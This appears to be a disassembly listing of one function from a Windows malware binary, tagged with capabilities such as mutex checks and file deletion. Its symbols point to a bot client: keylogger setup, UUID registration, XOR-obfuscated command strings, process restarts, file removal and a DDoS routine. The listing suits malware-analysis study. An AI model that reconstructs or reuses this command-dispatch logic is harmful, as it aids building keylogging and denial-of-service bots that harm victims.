Function at 0x259f110a0
Capabilities:
Check mutex on windows
Delete file
Query environment variable

Disassembly:
push rbp
lea r8, str.blitznet
mov edx, 1
mov rbp, rsp
push r15
push r14
push r13
push r12
push rdi
push rsi
push rbx
and rsp, 0xffffffffffffffe0
sub rsp, 0x5f0
mov qword [rbp + 0x10], rcx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov qword [0x259f17050], rax
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
je 0x259f11b91
xor r8d, r8d
lea rdx, [0x259f17010]
lea rcx, [0x259f17030]
call sub.gdiplus.dll_GdiplusStartup
lea rdi, fcn.259ef9640
lea rbx, [rsp + 0x3f0]
call sym.blitznet.dll_set_keylog_name__
xor ecx, ecx
xor edx, edx
xor r8d, r8d
lea rax, [rsp + 0x160]
mov qword [rsp + 0x178], rcx
lea rsi, [0x259ef98c0]
mov qword [rsp + 0x150], rax
lea rax, [rsp + 0x180]
mov qword [rsp + 0x170], rax
lea rax, [rsp + 0x1a0]
mov qword [rsp + 0x190], rax
lea rax, [rsp + 0x1b0]
mov rcx, rax
mov qword [rsp + 0x158], rdx
mov qword [rsp + 0x198], r8
mov qword [rsp + 0xe0], rax
mov byte [rsp + 0x160], 0
mov byte [rsp + 0x180], 0
mov byte [rsp + 0x1a0], 0
call sym.blitznet.dll_get_uuid_abi:cxx11___
xor r9d, r9d
mov ecx, 0x20
mov qword [rsp + 0x100], r9
call fcn.259f107f0
lea rcx, [rsp + 0x100]
mov r8, rsi
mov rdx, rbx
mov qword [rax], rdi
mov rdi, qword [rbp + 0x10]
mov qword [rsp + 0x3f0], rax
mov qword [rax + 8], rdi
mov rdi, qword [rsp + 0xe0]
mov qword [rax + 0x10], rdi
lea rdi, [sym.blitznet.dll_restart_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_]
mov qword [rax + 0x18], rdi
call fcn.259ef9860
mov rcx, qword [rsp + 0x3f0]
test rcx, rcx
je 0x259f111ff
mov rax, qword [rcx]
call qword [rax + 8]
xor eax, eax
mov ecx, 0x10
lea rdi, fcn.259ef9690
mov qword [rsp + 0x108], rax
call fcn.259f107f0
lea rcx, [rsp + 0x108]
mov r8, rsi
mov rdx, rbx
mov qword [rax], rdi
lea rdi, [sym.blitznet.dll_keylogger_job__]
mov qword [rax + 8], rdi
mov qword [rsp + 0x3f0], rax
call fcn.259ef9860
mov rcx, qword [rsp + 0x3f0]
test rcx, rcx
je 0x259f11256
mov rax, qword [rcx]
call qword [rax + 8]
movabs r15, 0x349b3d60251e0fe3
movabs r13, 0x59f45e3f517b68cc
movabs r14, 0x4088a5ea4a48b40d
mov rdi, r15
mov qword [rsp + 0x210], r13
mov rcx, rbx
movabs rsi, 0x4088a5c52e26d560
lea rax, [rsp + 0x210]
mov qword [rsp + 0x218], r14
mov r9d, dword [0x259f17040]
mov rdx, rax
mov qword [rsp + 0xc0], rdi
mov r8, qword [rsp + 0xe0]
mov qword [rsp + 0xc8], rsi
vmovdqa xmm1, xmmword [rsp + 0xc0]
vpxor xmm0, xmm1, xmmword [rsp + 0x210]
mov dword [rsp + 0xd0], r9d
mov qword [rsp + 0xe8], rax
vmovdqa xmmword [rsp + 0x210], xmm0
call fcn.259f0e520
lea rax, [rsp + 0x150]
mov r9d, dword [rsp + 0xd0]
mov rdx, rbx
lea rcx, [0x259f152a0]
mov r8, rax
mov qword [rsp + 0xd8], rax
call fcn.259e73570
mov rcx, rbx
mov r12d, eax
call fcn.259efa9f0
cmp r12d, 0xe8
jne 0x259f11277
cmp qword [rsp + 0x158], 0
je 0x259f11277
mov rcx, qword [rsp + 0xd8]
lea rdx, str.INVALID_UUID
call fcn.259f0dcb0
test al, al
je 0x259f11360
mov rcx, qword [rbp + 0x10]
call sym.blitznet.dll_start_new_process_char_
mov rdx, qword [rsp + 0xd8]
lea rcx, [rsp + 0x138]
call fcn.259e72d10
mov qword [rsp + 0x3f8], rsi
mov rdx, rbx
mov r12, qword [rsp + 0x138]
mov qword [rsp + 0x80], rdi
movabs rax, 0x349b3d60251e6b80
mov qword [rsp + 0x88], rsi
mov rcx, r12
vmovdqa xmm2, xmmword [rsp + 0x80]
mov qword [rsp + 0x3f0], rax
vpxor xmm0, xmm2, xmmword [rsp + 0x3f0]
vmovdqa xmmword [rsp + 0x3f0], xmm0
call fcn.259f0dcb0
test al, al
je 0x259f11545
mov rcx, qword [r12 + 0x20]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll__chdir
test eax, eax
jne 0x259f11477
mov qword [rsp + 0x3f0], rdi
movabs rax, 0x5afa5523054324b8
movabs rdx, 0xad99f586eb52f105
lea r9, [rsp + 0x1f0]
mov qword [rsp + 0x1f0], rax
movabs rax, 0x4afacca10e42b007
mov qword [rsp + 0x200], rdx
mov qword [rsp + 0x3f8], rsi
mov qword [rsp + 0x1f8], rax
movabs rax, 0xa4afaa4b2c027fba
mov qword [rsp + 0x400], rdx
mov qword [rsp + 0x208], rax
vmovdqa ymm3, ymmword [rsp + 0x1f0]
mov qword [rsp + 0x408], rax
vpxor ymm0, ymm3, ymmword [rsp + 0x3f0]
vmovdqa ymmword [rsp + 0x1f0], ymm0
jmp 0x259f1150c
mov qword [rsp + 0x3f0], rdi
movabs rax, 0x58f25c26054322b8
movabs rdx, 0xad99f586eb52f105
mov r9, qword [rsp + 0xe8]
mov qword [rsp + 0x3f8], rsi
mov qword [rsp + 0x210], rax
movabs rax, 0x24eb85aa5a06b105
mov qword [rsp + 0x400], rdx
mov qword [rsp + 0x218], rax
movabs rax, 0xad99f586eb52f10f
mov qword [rsp + 0x220], rax
movabs rax, 0xa4afaa4b2c027fba
mov qword [rsp + 0x228], rax
vmovdqa ymm4, ymmword [rsp + 0x210]
mov qword [rsp + 0x408], rax
vpxor ymm0, ymm4, ymmword [rsp + 0x3f0]
vmovdqa ymmword [rsp + 0x210], ymm0
mov rcx, r9
mov qword [rsp + 0xd8], r9
call sub.api_ms_win_crt_string_l1_1_0.dll_strlen
mov r9, qword [rsp + 0xd8]
mov r8, qword [rsp + 0x178]
xor edx, edx
mov qword [rsp + 0x20], rax
lea rcx, [rsp + 0x170]
call fcn.259efaa10
jmp 0x259f1197c
mov qword [rsp + 0x70], rdi
mov rdx, rbx
mov rcx, r12
movabs rax, 0x5ce85305406c6c90
mov qword [rsp + 0x78], rsi
vmovdqa xmm5, xmmword [rsp + 0x70]
mov qword [rsp + 0x3f0], rax
movabs rax, 0x4088a5c52e26a10f
mov qword [rsp + 0x3f8], rax
vpxor xmm0, xmm5, xmmword [rsp + 0x3f0]
vmovdqa xmmword [rsp + 0x3f0], xmm0
call fcn.259f0dcb0
test al, al
je 0x259f11749
lea r12, [rsp + 0x1f0]
mov rcx, rbx
mov edx, 0x20
call fcn.259e74bc0
lea rdx, [0x259f180eb]
mov rcx, r12
call fcn.259efe6b0
mov qword [rsp + 0x128], rsi
movabs rax, 0x349b3d6075534ab7
lea rcx, [rsp + 0x120]
mov qword [rsp + 0x60], rdi
mov qword [rsp + 0x68], rsi
vmovdqa xmm1, xmmword [rsp + 0x60]
mov qword [rsp + 0x120], rax
vpxor xmm0, xmm1, xmmword [rsp + 0x120]
vmovdqa xmmword [rsp + 0x120], xmm0
call sub.api_ms_win_crt_environment_l1_1_0.dll_getenv
mov rcx, qword [rsp + 0xe8]
mov r8, r12
mov rdx, rax
call fcn.259f0e4f0
lea rax, [rsp + 0x1d0]
mov rdx, qword [rsp + 0xe8]
mov r8, rbx
mov rcx, rax
mov qword [rsp + 0xd8], rax
call fcn.259f0e480
mov rcx, qword [rsp + 0xe8]
call fcn.259efa9f0
mov rcx, r12
call fcn.259efa9f0
mov rcx, rbx
call fcn.259efa9f0
mov rcx, qword [rsp + 0xd8]
call fcn.259e731f0
mov qword [rsp + 0x3f0], rdi
mov r8, qword [rsp + 0xe0]
mov rcx, rbx
mov qword [rsp + 0x3f8], rsi
movabs rax, 0x57e862044b7b7ccc
movabs rdx, 0xad99f586eb52f105
mov qword [rsp + 0x210], rax
movabs rax, 0x34e7cdb64043b012
mov qword [rsp + 0x400], rdx
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x218], rax
movabs rax, 0xad99f586eb52f12a
mov qword [rsp + 0x220], rax
movabs rax, 0xa4afaa4b2c027fba
mov qword [rsp + 0x228], rax
vmovdqa ymm2, ymmword [rsp + 0x210]
mov qword [rsp + 0x408], rax
vpxor ymm0, ymm2, ymmword [rsp + 0x3f0]
vmovdqa ymmword [rsp + 0x210], ymm0
call fcn.259f0e520
mov r8, qword [rsp + 0xd8]
mov rdx, rbx
lea r9, [rsp + 0x190]
lea rcx, [0x259f152a0]
call fcn.259e73c70
mov rcx, rbx
call fcn.259efa9f0
mov rcx, qword [rsp + 0x1d0]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
jmp 0x259f11b72
mov qword [rsp + 0x3f8], rsi
mov rdx, rbx
mov rcx, r12
movabs rax, 0x349b3d6056716b87
mov qword [rsp + 0x50], rdi
mov qword [rsp + 0x58], rsi
vmovdqa xmm3, xmmword [rsp + 0x50]
mov qword [rsp + 0x3f0], rax
vpxor xmm0, xmm3, xmmword [rsp + 0x3f0]
vmovdqa xmmword [rsp + 0x3f0], xmm0
call fcn.259f0dcb0
test al, al
je 0x259f117f2
mov rdx, qword [rsp + 0xd8]
mov rcx, rbx
call fcn.259efda90
mov rcx, qword [rsp + 0xe8]
mov rdx, rbx
call fcn.259e73050
mov rcx, rbx
call fcn.259efa9f0
mov rax, qword [rsp + 0x210]
mov rcx, qword [rax + 0x40]
call sub.api_ms_win_crt_convert_l1_1_0.dll_atoi
mov edx, eax
mov rax, qword [rsp + 0x210]
mov rcx, qword [rax + 0x20]
call sym.blitznet.dll_ddos_char_const__int_
mov rcx, qword [rsp + 0xe8]
call fcn.259ef9b10
jmp 0x259f11b7f
mov qword [rsp + 0x3f8], rsi
mov rdx, rbx
mov rcx, r12
movabs rax, 0x34eb501541676a88
mov qword [rsp + 0x40], rdi
mov qword [rsp + 0x48], rsi
vmovdqa xmm4, xmmword [rsp + 0x40]
mov qword [rsp + 0x3f0], rax
vpxor xmm0, xmm4, xmmword [rsp + 0x3f0]
vmovdqa xmmword [rsp + 0x3f0], xmm0
call fcn.259f0dcb0
test al, al
je 0x259f11954
lea rsi, [0x259f152c0]
mov r8d, 0x18
mov rcx, rbx
mov rdx, rsi
call fcn.259ee2630
cmp dword [rsp + 0x4f8], 0
je 0x259f11893
mov rcx, qword [rsp + 0xe8]
mov r8d, 0x10
mov rdx, rsi
call fcn.259eeceb0
mov rcx, qword [rsp + 0xe8]
call fcn.259eecae0
mov rcx, qword [rsp + 0xe8]
call fcn.259eed570
mov rcx, rbx
call fcn.259ee21c0
mov r8, qword [rsp + 0xe0]
movabs rax, 0x51f062044b7b7ccc
mov rcx, qword [rsp + 0xe8]
mov qword [rsp + 0x1f0], rax
lea rdx, [rsp + 0x1f0]
movabs rax, 0x4088a5c52e09a619
mov qword [rsp + 0x1f8], rax
mov rax, r15
mov qword [rsp + 0x30], rax
movabs rax, 0x4088a5c52e26d560
mov qword [rsp + 0x38], rax
vmovdqa xmm5, xmmword [rsp + 0x30]
vpxor xmm0, xmm5, xmmword [rsp + 0x1f0]
vmovdqa xmmword [rsp + 0x1f0], xmm0
call fcn.259f0e520
mov rdx, qword [rsp + 0xe8]
lea r9, [rsp + 0x190]
lea r8, [0x259f152c0]
lea rcx, [0x259f152a0]
call fcn.259e73c70
mov rcx, qword [rsp + 0xe8]
call fcn.259efa9f0
mov rcx, qword [0x259f152c0]
call sub.api_ms_win_crt_filesystem_l1_1_0.dll_remove
mov rcx, rbx
call fcn.259ee2fa0
jmp 0x259f11b7f
mov rdx, qword [rsp + 0xd8]
mov rcx, rbx
call fcn.259e75090
lea rcx, [rsp + 0x170]
mov rdx, rbx
call fcn.259efe820
mov rcx, rbx
call fcn.259efa9f0
movabs rax, 0x349b4915556a7a8c
mov r12, r15
movabs rsi, 0x4088a5c52e26d560
mov qword [rsp + 0xa0], r12
lea rcx, [rsp + 0x170]
mov qword [rsp + 0x128], rsi
mov qword [rsp + 0xa8], rsi
vmovdqa xmm1, xmmword [rsp + 0xa0]
mov qword [rsp + 0x120], rax
vpxor xmm0, xmm1, xmmword [rsp + 0x120]
vmovdqa xmmword [rsp + 0x120], xmm0
call fcn.259e72de0
lea r8, [rsp + 0x110]
lea rdx, [rsp + 0x120]
mov rcx, rbx
mov qword [rsp + 0x110], rax
call fcn.259ef6490
mov qword [rsp + 0x1d8], rsi
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x90], r12
movabs rax, 0x349b3d60257a7880
mov qword [rsp + 0x98], rsi
vmovdqa xmm2, xmmword [rsp + 0x90]
mov qword [rsp + 0x1d0], rax
vpxor xmm0, xmm2, xmmword [rsp + 0x1d0]
vmovdqa xmmword [rsp + 0x1d0], xmm0
call sub.api_ms_win_crt_stdio_l1_1_0.dll__getcwd
lea r8, [rsp + 0x118]
lea rdx, [rsp + 0x1d0]
mov qword [rsp + 0x118], rax
lea rax, [rsp + 0x430]
mov rcx, rax
mov qword [rsp + 0xd0], rax
call fcn.259ef6490
mov qword [rsp + 0xf0], rbx
mov rcx, qword [rsp + 0xe8]
lea rdx, [rsp + 0xf0]
mov qword [rsp + 0xf8], 2
call fcn.259eea130
lea rax, [rsp + 0x1f0]
mov rdx, qword [rsp + 0xe8]
mov rcx, rax
mov qword [rsp + 0xd8], rax
call fcn.259e72ef0
mov rcx, qword [rsp + 0xe8]
call fcn.259ed3d70
mov rcx, qword [rsp + 0xd0]
call fcn.259ef64c0
mov rcx, rbx
call fcn.259ef64c0
mov qword [rsp + 0xb0], r12
mov rcx, rbx
movabs rax, 0x40ee523f517b7ccc
mov qword [rsp + 0xb8], rsi
mov r8, qword [rsp + 0xe0]
vmovdqa xmm3, xmmword [rsp + 0xb0]
mov rdx, qword [rsp + 0xe8]
mov qword [rsp + 0x210], rax
movabs rax, 0x4088a5c50152a010
mov qword [rsp + 0x218], rax
vpxor xmm0, xmm3, xmmword [rsp + 0x210]
vmovdqa xmmword [rsp + 0x210], xmm0
call fcn.259f0e520
mov r8, qword [rsp + 0xd8]
lea rcx, [0x259f152a0]
mov rdx, rbx
lea r9, [rsp + 0x190]
call fcn.259e74770
mov rcx, rbx
call fcn.259efa9f0
mov rcx, qword [rsp + 0xd8]
call fcn.259efa9f0
lea rcx, [rsp + 0x138]
call fcn.259ef9b10
jmp 0x259f11277
lea rsp, [rbp - 0x38]
mov eax, 1
pop rbx
pop rsi
pop rdi
pop r12
pop r13
pop r14
pop r15
pop rbp
ret